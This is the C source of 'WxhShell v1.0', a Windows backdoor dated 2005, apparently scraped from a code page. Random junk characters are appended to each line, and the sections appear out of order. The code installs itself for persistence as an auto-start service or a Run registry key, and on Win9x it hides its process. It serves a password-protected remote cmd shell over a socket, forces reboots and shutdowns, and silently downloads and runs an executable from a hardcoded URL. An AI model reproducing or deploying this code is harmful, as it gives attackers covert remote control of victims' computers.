    if(Boot(SHUTDOWN)) s~M$Wo8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8~Cmn%  
    else { u)@:V)z  
    closesocket(wsh); $qD\ku;'  
    ExitThread(0); m23"xnRB  
    } [qc1 V%g  
    break; }e\"VhAl/  
    } 2!#g\"  
  // 获取shell #^}H)>jWy  
  case 's': { oU\]#e^  
    CmdShell(wsh); Rqe. =+Qs  
    closesocket(wsh); xfRp_;l+R  
    ExitThread(0); +|/0sPW(  
    break; M%E<]H2;S  
  } M<-Q8 a~  
  // 退出 ;,77|]<XE  
  case 'x': { Oiib2Ov  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _vTr?jjfK  
    CloseIt(wsh); 5r5on#O&  
    break; P@v"aa\@2)  
    } *w0!C:mL&  
  // 离开 >7W)iwF  
  case 'q': { x}/jh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C.?^] Y  
    closesocket(wsh); }#ink4dK:  
    WSACleanup(); t3)6R(JC  
    exit(1); lOm01&^"E  
    break; H_&to3b(  
        } MG?,,8sO  
  } m)A:w.o  
  } ;@Zuet  
<$s6?6P  
  // 提示信息 5]&sXs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yrxX[Hg?@  
} Lm[,^k  
  } M-@RgWvF  
ZID-~ 6  
  return; 48:xvTE?N  
} A4zI1QF  
M'%4BOpI6`  
// shell模块句柄 W&hW N9iR  
int CmdShell(SOCKET sock) m7^f%<l  
{ , 5W7a  
STARTUPINFO si; 8?Rp2n*o  
ZeroMemory(&si,sizeof(si)); y8YsS4E^Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "^&H9.z,v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _d 6'f8[&  
PROCESS_INFORMATION ProcessInfo; (\ab%M   
char cmdline[]="cmd"; iq' PeVo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?^U?ua6  
  return 0; Jl_W6gY"Z  
} t?"(Zb  
J%?5d:iN+  
// 自身启动模式 d5^^h<'  
int StartFromService(void) ei-\t qY_  
{ !q&Td  
typedef struct  E0!d c  
{ |y^=(|eM  
  DWORD ExitStatus; -))S  
  DWORD PebBaseAddress; b-ss^UL  
  DWORD AffinityMask; ==Egy:<:Q  
  DWORD BasePriority;  qNJc*@s  
  ULONG UniqueProcessId;  SCfp5W7~  
  ULONG InheritedFromUniqueProcessId; 'vNju1sfk  
}   PROCESS_BASIC_INFORMATION; B@*b 9  
kWW2N0~$  
PROCNTQSIP NtQueryInformationProcess; r R6}  
#LR4%}mg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !q+ #JW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LK DfV  
NF0_D1Goi  
  HANDLE             hProcess; SnG(/1C8  
  PROCESS_BASIC_INFORMATION pbi; +&S 7l%-  
@ujwN([I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nvd(?+c  
  if(NULL == hInst ) return 0; lJ;Wi  
>@7$=Y>D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P")I)> Q6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lpXGsK H2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hJ(vDv%  
[mzed{p]]  
  if (!NtQueryInformationProcess) return 0; j&X&&=   
^=eC1 bQA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u)<]Pb})r  
  if(!hProcess) return 0; D% jGK  
G4'Ia$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pa46,q&M  
x`g,>>&C  
  CloseHandle(hProcess); $z[S0Cm  
+(2$YJ35  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'i%r  
if(hProcess==NULL) return 0; OjhX:{"59  
t+a.,$U  
HMODULE hMod; Gko"iO#  
char procName[255]; MsXw 8D  
unsigned long cbNeeded; nYSe0w  
:.5l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) (YNNu  
l7g'z'G  
  CloseHandle(hProcess); ~vA{I%z5~  
-gvfz&Lz  
if(strstr(procName,"services")) return 1; // 以服务启动 ?# w} S%  
ktrIi5B  
  return 0; // 注册表启动 Xr  <H^X  
} l_}d Q&R  
/K|(O^nw  
// 主模块 TR3U<:  
int StartWxhshell(LPSTR lpCmdLine) a U\|ZCH\]  
{ R `ViRJh  
  SOCKET wsl; #csP.z3^y  
BOOL val=TRUE; Dnd; N/9  
  int port=0; 0BDw}E\  
  struct sockaddr_in door; T3fQ #p  
nh4G;qdU  
  if(wscfg.ws_autoins) Install(); 7_\F$bp`  
P7F"#R0QB  
port=atoi(lpCmdLine); kBZ1)?   
I(^0/]'  
if(port<=0) port=wscfg.ws_port; d1/WUKmbZ  
by<@\n2B:U  
  WSADATA data;  U${W3Ra  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hnFpC1TO  
{A/^;X{N^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8;?4rrS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =sk[I0W  
  door.sin_family = AF_INET; ~1+6gG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zx%WV@O9  
  door.sin_port = htons(port); V<UChD)N`  
5hmfdj6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \'Ae,q|w  
closesocket(wsl); *,JE[M  
return 1; o#p%IGG`  
} k4iiL<|  
yU!1q}L!  
  if(listen(wsl,2) == INVALID_SOCKET) { G$f%]A1  
closesocket(wsl); I4"p]>Y"  
return 1; 6C&&="uww  
} <kFLwF?PM'  
  Wxhshell(wsl); [eD0L7 1[  
  WSACleanup(); :m<&Ff}  
rhc+tR  
return 0; |BFzTz,o  
u0L-xC$L  
} YTa g|If  
Wa|V~PL+T  
// 以NT服务方式启动 d9$RmCHe}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J[<Zy^"Y;  
{ jTR?!Mt0  
DWORD   status = 0; ZMQ=D!kT  
  DWORD   specificError = 0xfffffff; r>fGj\#R =  
{]+t<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aB6xRn9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y]SF0:v!n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o*H U^  
  serviceStatus.dwWin32ExitCode     = 0; >>J3"XHX  
  serviceStatus.dwServiceSpecificExitCode = 0; 1*=ev,Z  
  serviceStatus.dwCheckPoint       = 0; j"nOxs  
  serviceStatus.dwWaitHint       = 0; W+&5G(z~  
d AcSG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I5M\PK/  
  if (hServiceStatusHandle==0) return; ]"_c-=  
}AS/^E  
status = GetLastError(); 5z_d$.CIc  
  if (status!=NO_ERROR) 5VV}wR  
{ m'N AM%$}J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !vnC-&G  
    serviceStatus.dwCheckPoint       = 0; cR3d& /_,U  
    serviceStatus.dwWaitHint       = 0; es*$/A  
    serviceStatus.dwWin32ExitCode     = status; M<Wi:r:  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9;#RzelSp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AI2XNSV@Yl  
    return; OPNRBMD  
  } y`va6 %u{  
uHI(-!O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -!XG>Z  
  serviceStatus.dwCheckPoint       = 0; 4SI~y;c)  
  serviceStatus.dwWaitHint       = 0; W,@ F!8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V#oz~GMB  
} x{:U$[_  
w!"L\QT  
// 处理NT服务事件,比如:启动、停止 C{bxPILw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &DMC\R*j  
{ S=k!8]/d|  
switch(fdwControl) Q~]oN  
{ x1eC r_  
case SERVICE_CONTROL_STOP: (%fQhQ  
  serviceStatus.dwWin32ExitCode = 0; =R=V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  _BP%@o  
  serviceStatus.dwCheckPoint   = 0; ^f,4=-  
  serviceStatus.dwWaitHint     = 0; !Axe}RD'  
  { !}!KT(% %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :C_/K(Rkl  
  } aLh(8;$  
  return; U"7o;q  
case SERVICE_CONTROL_PAUSE: )P(S:x'b0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y_Gd_+oJ  
  break; =v<w29P(g  
case SERVICE_CONTROL_CONTINUE: YcA. Bn|as  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %k#+nad  
  break; b23A&1X  
case SERVICE_CONTROL_INTERROGATE: n0=]C%wr  
  break; &|XgWZS5  
}; ATkd#k%S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nG'Yo8I^5  
} B!Wp=9)G  
X)!XR/?  
// 标准应用程序主函数 r^ Dm|^f#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CC=I|/mBM  
{ >\1twd{u]  
E,m|E]WP  
// 获取操作系统版本 pX_  
OsIsNt=GetOsVer(); Dd1k?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <~dfp  
QG*hQh  
  // 从命令行安装 aA4RC0'  
  if(strpbrk(lpCmdLine,"iI")) Install(); iAH,f5T  
[k$GUU,jY  
  // 下载执行文件 lW c[Q1  
if(wscfg.ws_downexe) { nDvfb* \  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sc]#T)xG  
  WinExec(wscfg.ws_filenam,SW_HIDE); qefp3&ls  
} Gt*<Awn8  
:z8/iD y  
if(!OsIsNt) { zh2<!MH  
// 如果时win9x,隐藏进程并且设置为注册表启动 f$>_>E  
HideProc(); \uTlwS  
StartWxhshell(lpCmdLine); {LiJ=Ebt  
} 1vo3aF  
else (n kg  
  if(StartFromService()) Tg^8a,Lt  
  // 以服务方式启动 K.yc[z)un  
  StartServiceCtrlDispatcher(DispatchTable); -Hm"Dx  
else .8QhJHwd  
  // 普通方式启动 ug]2wftlQ  
  StartWxhshell(lpCmdLine); fR[8O\U~  
J~K O#`  
return 0; c $1u  
} JAHg_!  
U1:m=!S;x  
WuE]pm]c  
&n | <NF  
=========================================== |y7TYjg6  
M<Bo<,!ua  
n*9QSyJN]  
S!A:/(^WB  
fL| 9/sojz  
yr+QV:oVA  
" zmQQ/ 7K  
8(n>99 VVK  
#include <stdio.h> 'ij+MU 1  
#include <string.h> ,IhQ%)l  
#include <windows.h> Z><+4 '  
#include <winsock2.h> )$p36dWl  
#include <winsvc.h> 3_@I E2dA  
#include <urlmon.h> ?xwi2<zz  
y" H5>  
#pragma comment (lib, "Ws2_32.lib") .*N,x(V  
#pragma comment (lib, "urlmon.lib") }uMu8)Q  
=EVB?k ,  
#define MAX_USER   100 // 最大客户端连接数 OF*E1B M  
#define BUF_SOCK   200 // sock buffer D% *ww'mt0  
#define KEY_BUFF   255 // 输入 buffer gA=Pz[i)p  
$z OV*O2  
#define REBOOT     0   // 重启 N=u( 3So  
#define SHUTDOWN   1   // 关机 qf K gNZ  
7J3A]>qU  
#define DEF_PORT   5000 // 监听端口 kmBA  
_L)LyQD]T  
#define REG_LEN     16   // 注册表键长度 Gd C=>\]  
#define SVC_LEN     80   // NT服务名长度 <!t;[ie?y  
Gu{1%bb#kL  
// 从dll定义API fUvXb>f,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kDJYEI9j>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JQ ?8yl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x(>XM:|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jA^yUd-  
N#-%b"(  
// wxhshell配置信息 -5e8m4*  
struct WSCFG { L2Cb/!z`c  
  int ws_port;         // 监听端口 0>m$e(Z  
  char ws_passstr[REG_LEN]; // 口令 alRz@N  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5n>zJ ~  
  char ws_regname[REG_LEN]; // 注册表键名 WMKxGZg"  
  char ws_svcname[REG_LEN]; // 服务名 W/RB|TMT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GF@` ~im  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Bgj.?l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a:P+HU:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @RB^m(> 5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vZQraY nJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '~yxu$aK  
O\q6T7bfRW  
}; !*DY dqQ/  
Y, Lpv|  
// default Wxhshell configuration WTD86A  
struct WSCFG wscfg={DEF_PORT, y+^KVEw  
    "xuhuanlingzhe", %a8e_  
    1, 0 {d)f1  
    "Wxhshell", &9gI?b8  
    "Wxhshell", KY2z)#/  
            "WxhShell Service", cC9Zc#aK  
    "Wrsky Windows CmdShell Service", <bJ|WS|  
    "Please Input Your Password: ", "WY5Pzsi:  
  1, V9KRA 1  
  "http://www.wrsky.com/wxhshell.exe", 9Pvv6WyKy  
  "Wxhshell.exe" [#aJ- Uu  
    }; j<WsFVS  
Md9y:)P@Y  
// 消息定义模块 b$Ei>%'/";  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y:zNf?6&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c;KMox/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BQ,749^S  
char *msg_ws_ext="\n\rExit."; guCCu2OTA%  
char *msg_ws_end="\n\rQuit."; OGH,K'l  
char *msg_ws_boot="\n\rReboot..."; '4GN%xi  
char *msg_ws_poff="\n\rShutdown..."; q(EN]W],  
char *msg_ws_down="\n\rSave to "; Ta3* G  
Y x66Xy  
char *msg_ws_err="\n\rErr!"; ^Et^,I:`  
char *msg_ws_ok="\n\rOK!"; L09r|g4Z  
N:KM8PZ&~  
char ExeFile[MAX_PATH]; + i /4G.=*  
int nUser = 0; Bvj  
HANDLE handles[MAX_USER]; U$@}!X  
int OsIsNt; c=-qbG0`  
1 "t9x.  
SERVICE_STATUS       serviceStatus; 8YPX8d8u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ( ?e Et&  
jU 3ceXV  
// 函数声明 ijcF[bm E  
int Install(void); K{Nj-Rqd  
int Uninstall(void); mDt!b6N/  
int DownloadFile(char *sURL, SOCKET wsh); ]#S<]vA  
int Boot(int flag); 18j>x3tn  
void HideProc(void); Jzp|#*~$E  
int GetOsVer(void); Z6So5r%wZ  
int Wxhshell(SOCKET wsl); E>|fbaN-%  
void TalkWithClient(void *cs); DgRn^gL{Q  
int CmdShell(SOCKET sock); L;Ynq<x  
int StartFromService(void); @}r s6 G  
int StartWxhshell(LPSTR lpCmdLine); Nw ,|4S  
<}xgp[O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UZ-pN_!Z:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KAVkYL0  
~4#D G^5  
// 数据结构和表定义 x'G_z_<V  
SERVICE_TABLE_ENTRY DispatchTable[] = Q`O~f<a  
{ bO('y@)X  
{wscfg.ws_svcname, NTServiceMain}, );S8`V  
{NULL, NULL} b"Nd8f[  
}; `.~*pT*u  
zDm3 $P=  
// 自我安装 E&"V~  
int Install(void) >CcDG  
{ n%}#e!  
  char svExeFile[MAX_PATH]; {QN 5QGvK  
  HKEY key; H:Q4!<  
  strcpy(svExeFile,ExeFile); benqm ~{\  
i}f"'KW  
// 如果是win9x系统,修改注册表设为自启动 O#{`Fj`  
if(!OsIsNt) { 44k8IYC*o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D2Q0p(#%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7uu\R=$  
  RegCloseKey(key); Oku7&L1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g%)cyri  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /nh3/[u  
  RegCloseKey(key); Q7zpu/5?  
  return 0; #<V5sgq S  
    } =|fB":vk  
  } 6B b+f"  
} SpIiMu(  
else { |g !$TUS.  
_$vbb#QXZG  
// 如果是NT以上系统,安装为系统服务 T' Jl,)"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =RM]/O9  
if (schSCManager!=0) IQ$6}.  
{ |~v2~   
  SC_HANDLE schService = CreateService }Q^*Zq9-  
  ( cUw$F{|W  
  schSCManager, XKOPW/  
  wscfg.ws_svcname, R9K~b^`  
  wscfg.ws_svcdisp, Y!y pG-  
  SERVICE_ALL_ACCESS, " w /Odd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4,=;:#n,J  
  SERVICE_AUTO_START, tp"eXA0n  
  SERVICE_ERROR_NORMAL, ! P$[$W  
  svExeFile, #*S.26P^4  
  NULL, (BK_A {5  
  NULL, ?5% o-hB|  
  NULL, n-GoG(s..b  
  NULL, Aeq^s  
  NULL (b1e!gJpy  
  );  7?vj+1;  
  if (schService!=0) @L 6)RF  
  { tHM0]Gb}  
  CloseServiceHandle(schService); tu ;Pm4q7  
  CloseServiceHandle(schSCManager); <a+ @4d;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B <G,{k  
  strcat(svExeFile,wscfg.ws_svcname); w)R5@ @C*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s._,IW;   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j(>xP*il  
  RegCloseKey(key); ZP0D)@8  
  return 0; +KTHZpp!c2  
    } .jbxA2  
  } .E7"Lfs-  
  CloseServiceHandle(schSCManager); Z(LTHAbBk|  
} <<Z, 1{3F  
} >$a;+v  
g<$2#c}  
return 1; I;UT; /E2  
} Q^xk]~G$(  
}Q6o#oZ  
// 自我卸载 v@J[qpX  
int Uninstall(void) ?jvuTS2  
{ #\K"FE0PGz  
  HKEY key; <LJb,l"  
mwZ) PySm)  
if(!OsIsNt) { lPtML<a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jm0.\[J  
  RegDeleteValue(key,wscfg.ws_regname); <29K! [  
  RegCloseKey(key); \#N?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r'o378]=  
  RegDeleteValue(key,wscfg.ws_regname); i If?K%M7  
  RegCloseKey(key); H%}/O;C  
  return 0; |tse"A5Z  
  } rrphOG  
} Qf'g2 \  
} Nz; \PS  
else { z"Cyjmg"  
O{U j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `'pAiu  
if (schSCManager!=0) a#9pN?~  
{ p|BoEITL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %E [HMq<H  
  if (schService!=0) }EJ/H3<  
  { i;29*"  
  if(DeleteService(schService)!=0) { ^oW{N  
  CloseServiceHandle(schService); zW)Wt.svP  
  CloseServiceHandle(schSCManager); RU>qj *e  
  return 0; M23r/eg]  
  } sN#ju5  
  CloseServiceHandle(schService); $>+g)  
  } kZi/2UA5Z  
  CloseServiceHandle(schSCManager); 6mgLeeY  
} mGkQx -|  
} uW!saT5o  
#nAq~@X  
return 1; ;&O *KhLH  
} +B&+FGfNU  
1Lp; LY"_  
// 从指定url下载文件 L9F71bs59  
int DownloadFile(char *sURL, SOCKET wsh) 9^nRwo  
{ (qz)3Fa  
  HRESULT hr; "I9r>=  
char seps[]= "/"; ~mMTfC~9  
char *token; K5jeazasp  
char *file; 8yH)9#>  
char myURL[MAX_PATH]; 3iL\<^d*ht  
char myFILE[MAX_PATH]; !?+q7U  
IcGX~zWr  
strcpy(myURL,sURL); E\p"%  
  token=strtok(myURL,seps);  =+q\Jh  
  while(token!=NULL) j5]ul!ji  
  { Y4_xV&   
    file=token; /?Mr2!3N  
  token=strtok(NULL,seps); Y hC|hDC  
  } g=,}j]tl  
qOnGP{   
GetCurrentDirectory(MAX_PATH,myFILE); l(@c  
strcat(myFILE, "\\"); :-$8u;!M  
strcat(myFILE, file); |>.</68Z  
  send(wsh,myFILE,strlen(myFILE),0); 8lA,3'z  
send(wsh,"...",3,0); W,_2JqQp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <td]k%*+  
  if(hr==S_OK) {esb"beGLa  
return 0; xH}bX-m  
else 25@@-2h @  
return 1; -~X[j2  
6E9/ z  
} aUA)p}/:  
tCar:p4$  
// 系统电源模块 #3'M>SaoH  
int Boot(int flag) kQQDaZ 8  
{ *v?kp>O  
  HANDLE hToken; 0'YJczDq:7  
  TOKEN_PRIVILEGES tkp; mm.%Dcn  
7?y 7fwER  
  if(OsIsNt) { HPJHA ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LIQ].VxIs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s{j A!T}  
    tkp.PrivilegeCount = 1; ;-;lM6zP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gU NWM^n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (oG.A  
if(flag==REBOOT) { j-DWz>x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t V>qV\>  
  return 0; N]6t)Zv  
} -|>T? t'K  
else { %~P T7"4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %H,s~IU  
  return 0; D{[{&1\)r  
} l=(( >^i  
  } ek0!~v<I  
  else { X8N9*v y  
if(flag==REBOOT) { 3wcF R0f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xgpf2y!{  
  return 0; 3JkdPh  
} a/1;|1a.  
else { 5Dz$_2oM3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9cU9'r# h  
  return 0; x{tlC}t  
} dM P'Vnfj  
} GG +T-  
n${k^e-=  
return 1; r\Yh'cRW{  
}  KLE)+|  
Jmi,;Af'/  
// win9x进程隐藏模块 c %Cbq0+2  
void HideProc(void) HEIg_6sb  
{ Xtz:^tg  
~id:Rh>o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g.vE%zKL  
  if ( hKernel != NULL ) %'Q2c'r  
  { uoeZb=<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n|XheG7:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  (/,l0  
    FreeLibrary(hKernel); xIC@$GP  
  } h:r?:C>n  
DuZZu  
return; Q~VM.G  
} /kg#i&bP~  
u *rP 8GuS  
// 获取操作系统版本 '[%#70*  
int GetOsVer(void) Ke?,AWfG  
{ w^$C\bCbh  
  OSVERSIONINFO winfo; j%^4 1y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y?3tf0t/  
  GetVersionEx(&winfo); hpPacN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y$SUYG'v  
  return 1; |5O>7~Tp  
  else o ]z#~^w  
  return 0; }u=Oi@~  
} ^2+ Vt=*  
D&D6!jz  
// 客户端句柄模块 "QiR  
int Wxhshell(SOCKET wsl) PPIO<K 3`  
{ $?bD55  
  SOCKET wsh; L \E>5G;  
  struct sockaddr_in client; &tvp)B?cWk  
  DWORD myID; l &'q+F  
q!@!eC[b  
  while(nUser<MAX_USER) ZH9Fs'c=  
{ w K#*|  
  int nSize=sizeof(client); b \ln XN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hz2Sx1.i  
  if(wsh==INVALID_SOCKET) return 1; J'$NBws  
'xGhMgR;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r]Wt!oHm5  
if(handles[nUser]==0) n$r`s`}  
  closesocket(wsh); #S'uqP!  
else 4n7Kz_!SVf  
  nUser++; ,_Bn{T=U  
  } NR1M W^R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tZz%x?3G  
]rH[+t-  
  return 0; ?X@[ibH6  
} H?J:_1  
x5BS|3W$a  
// 关闭 socket X3 kFJ{  
void CloseIt(SOCKET wsh) F}ATY!  
{ TnK<Wba  
closesocket(wsh); %HoD)OJe  
nUser--; &{a!)I>  
ExitThread(0); $5)#L$!,]  
} NimgU Fa  
(EY@{'.&  
// 客户端请求句柄 MyllL@kP  
void TalkWithClient(void *cs) 0#!}s&j/  
{ Y6VJr+Ap(  
x]x3iFD  
  SOCKET wsh=(SOCKET)cs; L'? aoRj  
  char pwd[SVC_LEN]; M-Efe_VRQc  
  char cmd[KEY_BUFF]; `cXLa=B)9  
char chr[1]; >RkaFcq  
int i,j; 8X"4RyNSn  
":M]3.  
  while (nUser < MAX_USER) { pF-_yyQ  
sIg TSdk  
if(wscfg.ws_passstr) { t:fz%IOe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fJc(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u@#%SX  
  //ZeroMemory(pwd,KEY_BUFF); f(D'qV T{  
      i=0; uH%b rbrU  
  while(i<SVC_LEN) { PR:B6 F8  
A+* lV*@0  
  // 设置超时 L,y q=%h|  
  fd_set FdRead; 8xgBNQdPT  
  struct timeval TimeOut; jc Mn   
  FD_ZERO(&FdRead); o?>0WSLlm  
  FD_SET(wsh,&FdRead); XNJZ~Mowb  
  TimeOut.tv_sec=8; #xGP|:m  
  TimeOut.tv_usec=0; j;]I -M[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !~~KM?g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RdWn =;  
\EVT*v=}/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x,25ROaHY  
  pwd=chr[0]; y 2> 93m  
  if(chr[0]==0xd || chr[0]==0xa) { Y^!qeY  
  pwd=0; SefhOh^,V  
  break; Kgr<OL}VJ  
  } *pa hZiO  
  i++; Q:megU'u  
    } } u;{38~  
oOpEpQ}}q  
  // 如果是非法用户,关闭 socket M*gvYo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ue@/o,C>  
} 9S@x  
scH61Y8`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /g{*px|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ="& GU%$  
5.{=Op!  
while(1) { Sc>mw   
P(k*SB|D  
  ZeroMemory(cmd,KEY_BUFF); Twa(RjB<  
Q ^2dZXk~  
      // 自动支持客户端 telnet标准   '2lzMc>wvP  
  j=0; n~ad#iN  
  while(j<KEY_BUFF) { `~)?OTzU#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?DUim1KG  
  cmd[j]=chr[0]; HZRFE[ 9nb  
  if(chr[0]==0xa || chr[0]==0xd) { L?N&kzA  
  cmd[j]=0; aj;x:UqpJ  
  break; oLKliA=q  
  } M^:JhX{  
  j++; !\R5/-_UU  
    } F,~BhKkbV  
JHa1lj  
  // 下载文件 L.'61ZU  
  if(strstr(cmd,"http://")) { w gS'/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z Fm`e:td  
  if(DownloadFile(cmd,wsh)) uE')<fVX(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k37?NoT  
  else p]RQ-0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &SbdX   
  } u>lt}0  
  else { YXWDbr:JX  
U| Fqna  
    switch(cmd[0]) { qo3+=*"V  
  -fA=&$V  
  // 帮助 ({t^/b*8  
